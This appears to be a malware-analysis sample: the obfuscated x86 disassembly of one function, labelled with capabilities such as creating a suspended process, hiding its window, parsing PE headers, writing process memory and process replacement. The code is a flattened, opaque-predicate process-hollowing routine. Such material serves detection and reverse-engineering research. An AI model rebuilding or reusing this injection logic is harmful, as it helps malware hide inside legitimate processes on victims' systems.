Function at 0x10006d70
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Hide graphical window
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0xf0
mov eax, dword [0x1006e000]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x1006f328]
mov eax, dword [0x1006f324]
mov edx, ecx
add edx, 0x57775ad9
sub edx, 1
sub edx, 0x57775ad9
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0xf2], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0xf1], al
mov dword [ebp - 0xf8], 0xd786ebc6
mov eax, dword [ebp - 0xf8]
mov dword [ebp - 0xfc], eax
sub eax, 0x813ae606
je 0x1000c8d0
jmp 0x10006deb
mov eax, dword [ebp - 0xfc]
sub eax, 0x816e598a
je 0x100091ed
jmp 0x10006e01
mov eax, dword [ebp - 0xfc]
sub eax, 0x8222b6ef
je 0x1000a609
jmp 0x10006e17
mov eax, dword [ebp - 0xfc]
sub eax, 0x833bc9e3
je 0x1000b265
jmp 0x10006e2d
mov eax, dword [ebp - 0xfc]
sub eax, 0x833fd121
je 0x1000b419
jmp 0x10006e43
mov eax, dword [ebp - 0xfc]
sub eax, 0x8345d475
je 0x1000e6e7
jmp 0x10006e59
mov eax, dword [ebp - 0xfc]
sub eax, 0x8495f0af
je 0x100092f9
jmp 0x10006e6f
mov eax, dword [ebp - 0xfc]
sub eax, 0x856f34e5
je 0x1000e327
jmp 0x10006e85
mov eax, dword [ebp - 0xfc]
sub eax, 0x85fa49a3
je 0x1000b47c
jmp 0x10006e9b
mov eax, dword [ebp - 0xfc]
sub eax, 0x86a82c07
je 0x1000c0c7
jmp 0x10006eb1
mov eax, dword [ebp - 0xfc]
sub eax, 0x87240b27
je 0x1000e50d
jmp 0x10006ec7
mov eax, dword [ebp - 0xfc]
sub eax, 0x8795f69e
je 0x1000bc54
jmp 0x10006edd
mov eax, dword [ebp - 0xfc]
sub eax, 0x88ed1a80
je 0x1000e44a
jmp 0x10006ef3
mov eax, dword [ebp - 0xfc]
sub eax, 0x897910ec
je 0x1000dff7
jmp 0x10006f09
mov eax, dword [ebp - 0xfc]
sub eax, 0x8a336da8
je 0x1000d212
jmp 0x10006f1f
mov eax, dword [ebp - 0xfc]
sub eax, 0x8a49a7b0
je 0x1000e615
jmp 0x10006f35
mov eax, dword [ebp - 0xfc]
sub eax, 0x8a780adb
je 0x1000b395
jmp 0x10006f4b
mov eax, dword [ebp - 0xfc]
sub eax, 0x8a964b85
je 0x10009558
jmp 0x10006f61
mov eax, dword [ebp - 0xfc]
sub eax, 0x8b0f9623
je 0x1000b6ca
jmp 0x10006f77
mov eax, dword [ebp - 0xfc]
sub eax, 0x8c8c7607
je 0x1000dc0d
jmp 0x10006f8d
mov eax, dword [ebp - 0xfc]
sub eax, 0x8e680cb3
je 0x1000e89d
jmp 0x10006fa3
mov eax, dword [ebp - 0xfc]
sub eax, 0x8ec1191b
je 0x100099ec
jmp 0x10006fb9
mov eax, dword [ebp - 0xfc]
sub eax, 0x8ed6750f
je 0x1000b1bd
jmp 0x10006fcf
mov eax, dword [ebp - 0xfc]
sub eax, 0x8f40e050
je 0x1000a853
jmp 0x10006fe5
mov eax, dword [ebp - 0xfc]
sub eax, 0x8fc96787
je 0x1000ba94
jmp 0x10006ffb
mov eax, dword [ebp - 0xfc]
sub eax, 0x9023bc64
je 0x1000d6ed
jmp 0x10007011
mov eax, dword [ebp - 0xfc]
sub eax, 0x90bba750
je 0x1000dd51
jmp 0x10007027
mov eax, dword [ebp - 0xfc]
sub eax, 0x90bf4782
je 0x1000d971
jmp 0x1000703d
mov eax, dword [ebp - 0xfc]
sub eax, 0x915224bd
je 0x1000b764
jmp 0x10007053
mov eax, dword [ebp - 0xfc]
sub eax, 0x9156142a
je 0x1000bb19
jmp 0x10007069
mov eax, dword [ebp - 0xfc]
sub eax, 0x921af354
je 0x1000c690
jmp 0x1000707f
mov eax, dword [ebp - 0xfc]
sub eax, 0x947440ef
je 0x1000e0ff
jmp 0x10007095
mov eax, dword [ebp - 0xfc]
sub eax, 0x9487f4b5
je 0x1000991e
jmp 0x100070ab
mov eax, dword [ebp - 0xfc]
sub eax, 0x96a395e9
je 0x1000b19c
jmp 0x100070c1
mov eax, dword [ebp - 0xfc]
sub eax, 0x974ca78b
je 0x1000cbf3
jmp 0x100070d7
mov eax, dword [ebp - 0xfc]
sub eax, 0x98f85853
je 0x1000c393
jmp 0x100070ed
mov eax, dword [ebp - 0xfc]
sub eax, 0x9910e805
je 0x10009aef
jmp 0x10007103
mov eax, dword [ebp - 0xfc]
sub eax, 0x9a0a0dd1
je 0x1000b3c8
jmp 0x10007119
mov eax, dword [ebp - 0xfc]
sub eax, 0x9a7ed659
je 0x1000b773
jmp 0x1000712f
mov eax, dword [ebp - 0xfc]
sub eax, 0x9abec05e
je 0x1000c8ed
jmp 0x10007145
mov eax, dword [ebp - 0xfc]
sub eax, 0x9b23a1dc
je 0x1000daff
jmp 0x1000715b
mov eax, dword [ebp - 0xfc]
sub eax, 0x9b8fed51
je 0x1000e336
jmp 0x10007171
mov eax, dword [ebp - 0xfc]
sub eax, 0x9c753d3b
je 0x1000a6b5
jmp 0x10007187
mov eax, dword [ebp - 0xfc]
sub eax, 0x9cf65e6c
je 0x1000a7a0
jmp 0x1000719d
mov eax, dword [ebp - 0xfc]
sub eax, 0x9d04381e
je 0x1000baa3
jmp 0x100071b3
mov eax, dword [ebp - 0xfc]
sub eax, 0x9d2c66db
je 0x1000d1c7
jmp 0x100071c9
mov eax, dword [ebp - 0xfc]
sub eax, 0x9d33b2e1
je 0x1000b835
jmp 0x100071df
mov eax, dword [ebp - 0xfc]
sub eax, 0x9d5d2821
je 0x100094db
jmp 0x100071f5
mov eax, dword [ebp - 0xfc]
sub eax, 0x9e19fd9f
je 0x1000d338
jmp 0x1000720b
mov eax, dword [ebp - 0xfc]
sub eax, 0x9e5cadd0
je 0x1000a820
jmp 0x10007221
mov eax, dword [ebp - 0xfc]
sub eax, 0x9f87ded2
je 0x1000aae6
jmp 0x10007237
mov eax, dword [ebp - 0xfc]
sub eax, 0xa0eb7eb8
je 0x1000bc0f
jmp 0x1000724d
mov eax, dword [ebp - 0xfc]
sub eax, 0xa1fcaaa4
je 0x1000b6bb
jmp 0x10007263
mov eax, dword [ebp - 0xfc]
sub eax, 0xa2d7e621
je 0x10009f82
jmp 0x10007279
mov eax, dword [ebp - 0xfc]
sub eax, 0xa3a376ec
je 0x1000a5c7
jmp 0x1000728f
mov eax, dword [ebp - 0xfc]
sub eax, 0xa68975f8
je 0x1000c9d2
jmp 0x100072a5
mov eax, dword [ebp - 0xfc]
sub eax, 0xa7a3990c
je 0x1000a90a
jmp 0x100072bb
mov eax, dword [ebp - 0xfc]
sub eax, 0xa84c8be2
je 0x1000a3cd
jmp 0x100072d1
mov eax, dword [ebp - 0xfc]
sub eax, 0xa852e927
je 0x1000bc00
jmp 0x100072e7
mov eax, dword [ebp - 0xfc]
sub eax, 0xa9a9e790
je 0x10009ea2
jmp 0x100072fd
mov eax, dword [ebp - 0xfc]
sub eax, 0xab9d3750
je 0x1000dd42
jmp 0x10007313
mov eax, dword [ebp - 0xfc]
sub eax, 0xabb065d7
je 0x1000c610
jmp 0x10007329
mov eax, dword [ebp - 0xfc]
sub eax, 0xabba1037
je 0x1000dc92
jmp 0x1000733f
mov eax, dword [ebp - 0xfc]
sub eax, 0xac6df2ae
je 0x1000e387
jmp 0x10007355
mov eax, dword [ebp - 0xfc]
sub eax, 0xacb6bf22
je 0x1000cf58
mov dword [ebp - 0xf8], 0xd8de099e
jmp 0x1000eb76
push eax
mov eax, esp
mov dword [ebp - 0x7c], eax
push eax
mov eax, esp
mov dword [ebp - 0x78], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001190
add esp, 4
lea eax, str.ntdll.dll
sub esp, 4
mov dword [esp], eax
call fcn.10001190
add esp, 4
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x1001c21c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x1001c218]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x1001c214]
movss dword [eax], xmm0
mov ecx, dword [0x1006f328]
mov eax, dword [0x1006f324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xafcbdb4a
mov ecx, 0x4aa9fb20
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000eb76
mov dword [ebp - 0xf8], 0xe69b6a38
jmp 0x1000eb76
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x1001c3a4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xf0]
movss xmm0, dword [0x1001c3a0]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0x79f0b51
jmp 0x1000eb76
mov dword [ebp - 0xf8], 0xf742510
jmp 0x1000eb76
mov dl, 1
mov eax, 0x45c83552
mov ecx, 0x6ba37147
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000eb76
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x1001c370]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0x7f50dff4
jmp 0x1000eb76
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x1001c1f8]
movss dword [eax], xmm0
mov ecx, dword [0x1006f328]
mov eax, dword [0x1006f324]
mov edx, ecx
add edx, 0x79bd80fa
sub edx, 1
sub edx, 0x79bd80fa
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xac6df2ae
mov ecx, 0x191355d7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000eb76
mov ecx, dword [0x1006f328]
mov eax, dword [0x1006f324]
mov edx, ecx
sub edx, 0x55894d87
sub edx, 1
add edx, 0x55894d87
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x3c9f7de2
mov ecx, 0x3ebc084
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000eb76
mov ecx, dword [0x1006f328]
mov eax, dword [0x1006f324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7b027a3b
mov ecx, 0xf85ec80f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000eb76
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x1001c338]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x1001c334]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0x46b1e0c6
jmp 0x1000eb76
mov eax, dword [0x1006f328]
mov ecx, dword [0x1006f324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x88ed1a80
mov ecx, 0x1b6dbba8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000eb76
mov dword [ebp - 0xf8], 0xc7166fd4
jmp 0x1000eb76
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x1001c330]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0x36720f9c
jmp 0x1000eb76
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x1001c324]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x1001c320]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0x8f40e050
jmp 0x1000eb76
mov eax, dword [0x1006f328]
mov ecx, dword [0x1006f324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd4e12af3
mov ecx, 0x6d6ad5c4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000eb76
mov dword [ebp - 0xf8], 0xeb490a6b
jmp 0x1000eb76
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x1001c1d8]
movss dword [eax], xmm0
mov eax, dword [0x1006f328]
mov ecx, dword [0x1006f324]
mov edx, eax
sub edx, 0xdde64629
sub edx, 1
add edx, 0xdde64629
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xe58dc248
mov ecx, 0x4f54e2a6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000eb76
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x1001c2cc]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0x8ed6750f
jmp 0x1000eb76
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x1001c2c8]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0x34fe65af
jmp 0x1000eb76
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x1001c1c8]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xe0]
movss xmm0, dword [0x1001c1c4]
movss dword [eax], xmm0
mov ecx, dword [0x1006f328]
mov eax, dword [0x1006f324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x754eede0
mov ecx, 0x36ad1bcd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000eb76
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x1001c2b4]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x1001c2b0]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0x9a0a0dd1
jmp 0x1000eb76
mov eax, dword [0x1006f328]
mov ecx, dword [0x1006f324]
mov edx, eax
add edx, 0xa2406645
sub edx, 1
sub edx, 0xa2406645
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcacc68fb
mov ecx, 0x833fd121
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000eb76
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x1001c1c0]
movss dword [eax], xmm0
mov eax, dword [0x1006f328]
mov ecx, dword [0x1006f324]
mov edx, eax
add edx, 0x86a2b18
sub edx, 1
sub edx, 0x86a2b18
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xcacc68fb
mov ecx, 0x85fa49a3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000eb76
mov dl, 1
mov eax, 0x4b9fda38
mov ecx, 0x219d1f7c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000eb76
mov dword [ebp - 0xf8], 0x8b0f9623
jmp 0x1000eb76
mov eax, dword [0x1006f328]
mov ecx, dword [0x1006f324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb9ad156e
mov ecx, 0x5c97af5e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000eb76
mov dword [ebp - 0xf8], 0x9a7ed659
jmp 0x1000eb76
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x1001c2a4]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0xd586bbb2
jmp 0x1000eb76
mov eax, dword [0x1006f328]
mov ecx, dword [0x1006f324]
mov edx, eax
add edx, 0x5e91cd9e
sub edx, 1
sub edx, 0x5e91cd9e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1c3d1d7c
mov ecx, 0x673a5164
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000eb76
mov dword [ebp - 0xf8], 0x9d04381e
jmp 0x1000eb76
mov ecx, dword [0x1006f328]
mov eax, dword [0x1006f324]
mov edx, ecx
add edx, 0xfb228f32
sub edx, 1
sub edx, 0xfb228f32
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xba2533c2
mov ecx, 0x9156142a
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000eb76
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x1001c1a8]
movss dword [eax], xmm0
mov ecx, dword [0x1006f328]
mov eax, dword [0x1006f324]
mov edx, ecx
add edx, 0x49ef3f0d
sub edx, 1
sub edx, 0x49ef3f0d
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xba2533c2
mov ecx, 0xcde01062
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000eb76
mov dword [ebp - 0xf8], 0xa0eb7eb8
jmp 0x1000eb76
mov eax, dword [ebp - 0xd8]
movss xmm0, dword [0x1001c28c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xd8]
movss xmm0, dword [0x1001c288]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xd8]
movss xmm0, dword [0x1001c284]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0x8795f69e
jmp 0x1000eb76
mov dl, 1
mov eax, 0x37837f40
mov ecx, 0x7c3b6180
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000eb76
mov eax, dword [ebp - 0xd8]
movss xmm0, dword [0x1001c26c]
movss dword [eax], xmm0
mov eax, dword [ebp - 0xd8]
movss xmm0, dword [0x1001c268]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0x7f7c5603
jmp 0x1000eb76
mov eax, dword [ebp - 0xd8]
movss xmm0, dword [0x1001c254]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0xc6f07749
jmp 0x1000eb76
mov eax, dword [ebp - 0xd4]
movss xmm0, dword [0x1001c240]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0xb29e7387
jmp 0x1000eb76
mov eax, dword [ebp - 0xd4]
movss xmm0, dword [0x1001c234]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0x3d4e5a15
jmp 0x1000eb76
mov dl, 1
mov eax, 0x272e01fa
mov ecx, 0x9abec05e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000eb76
mov eax, dword [ebp - 0xd4]
movss xmm0, dword [0x1001c224]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0x347cd91c
jmp 0x1000eb76
mov eax, dword [ebp - 0xc4]
mov ecx, dword [ebp - 0x74]
mov dword [eax], ecx
mov eax, dword [ebp - 0xc4]
mov edx, dword [eax]
mov eax, 0x30a4b025
mov ecx, 0x680b8f9a
cmp dword [edx], 0x4550
cmove eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000eb76
mov dl, byte [ebp - 0x6d]
mov eax, 0x2ca936a3
mov ecx, 0x16b91dbd
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000eb76
mov eax, dword [ebp - 0x94]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xc4]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 6]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x5d], al
mov dword [ebp - 0xf8], 0xd2deb138
jmp 0x1000eb76
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x94]
imul ecx, dword [ecx], 0x28
add eax, ecx
mov eax, dword [eax + 0x10]
mov dword [ebp - 0x5c], eax
mov eax, dword [ebp - 0xd0]
mov eax, dword [eax]
mov dword [ebp - 0x58], eax
mov eax, dword [ebp - 0xa4]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x94]
imul ecx, dword [ecx], 0x28
add eax, ecx
add eax, 0x14
mov dword [ebp - 0x54], eax
mov dword [ebp - 0xf8], 0x7f800010
jmp 0x1000eb76
mov eax, dword [0x1006f328]
mov ecx, dword [0x1006f324]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3b91368
mov ecx, 0x4aaf2a38
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000eb76
mov dword [ebp - 0xf8], 0xf3b28cf7
jmp 0x1000eb76
mov ecx, dword [0x1006f328]
mov eax, dword [0x1006f324]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xfda5bc47
mov ecx, 0x71d21308
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000eb76
mov eax, dword [ebp - 0x20]
mov edx, dword [eax]
mov eax, dword [ebp - 0x78]
mov ecx, dword [ebp - 0x24]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov dword [ebp - 0xf8], 0x54c616d9
jmp 0x1000eb76
mov dword [ebp - 0xf8], 0x19ea5ff0
jmp 0x1000eb76
mov eax, dword [ebp - 0x80]
mov ecx, dword [eax]
xor eax, eax
sub eax, 1
sub ecx, eax
mov eax, dword [ebp - 0x80]
mov dword [eax], ecx
mov eax, dword [0x1006f328]
mov ecx, dword [0x1006f324]
mov edx, eax
add edx, 0x22abaae5
sub edx, 1
sub edx, 0x22abaae5
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6805fd73
mov ecx, 0x6400d919
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000eb76
mov dword [ebp - 0xf8], 0xf3b28cf7
jmp 0x1000eb76
mov dword [ebp - 0xf8], 0xffe88b88
jmp 0x1000eb76
mov eax, dword [ebp - 0x14]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, dword [ebp - 0xc0]
mov eax, dword [eax]
sub esp, 4
mov dword [esp], eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [0x1006f328]
mov eax, dword [0x1006f324]
mov edx, ecx
add edx, 0xe3872f3b
sub edx, 1
sub edx, 0xe3872f3b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xea1390b8
mov ecx, 0x6e9d6b1b
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000eb76
mov eax, dword [0x1006f328]
mov ecx, dword [0x1006f324]
mov edx, eax
sub edx, 0xd615c37d
sub edx, 1
add edx, 0xd615c37d
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xd4515d35
mov ecx, 0x4a40b919
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0xf8], eax
jmp 0x1000eb76
mov dword [ebp - 0xf8], 0xc6642474
jmp 0x1000eb76
mov dword [ebp - 0xf8], 0xee019b2d
jmp 0x1000eb76
mov eax, dword [ebp - 0xec]
movss xmm0, dword [0x1001c1f8]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0xa9a9e790
jmp 0x1000eb76
mov eax, dword [ebp - 0xe8]
movss xmm0, dword [0x1001c1e4]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0x1b6dbba8
jmp 0x1000eb76
mov eax, dword [ebp - 0xe4]
movss xmm0, dword [0x1001c1d0]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0x51c21303
jmp 0x1000eb76
mov eax, dword [ebp - 0xdc]
movss xmm0, dword [0x1001c1b0]
movss dword [eax], xmm0
mov dword [ebp - 0xf8], 0xafceec27
jmp 0x1000eb76
mov dword [ebp - 0xf8], 0x38b48665
jmp 0x1000eb76
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
mov eax, dword [eax + 0x54]
mov ecx, dword [ebp - 0xd0]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0xac]
mov edx, dword [edx]
mov esi, dword [ebp - 0xc0]
mov esi, dword [esi]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov eax, dword [ebp - 0xd0]
mov ecx, dword [eax]
mov eax, dword [ebp - 0xcc]
mov eax, dword [eax]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0xc4]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0xa4]
mov dword [eax], ecx
mov dword [ebp - 0xf8], 0xcc7c4917
jmp 0x1000eb76
jmp 0x10006dcf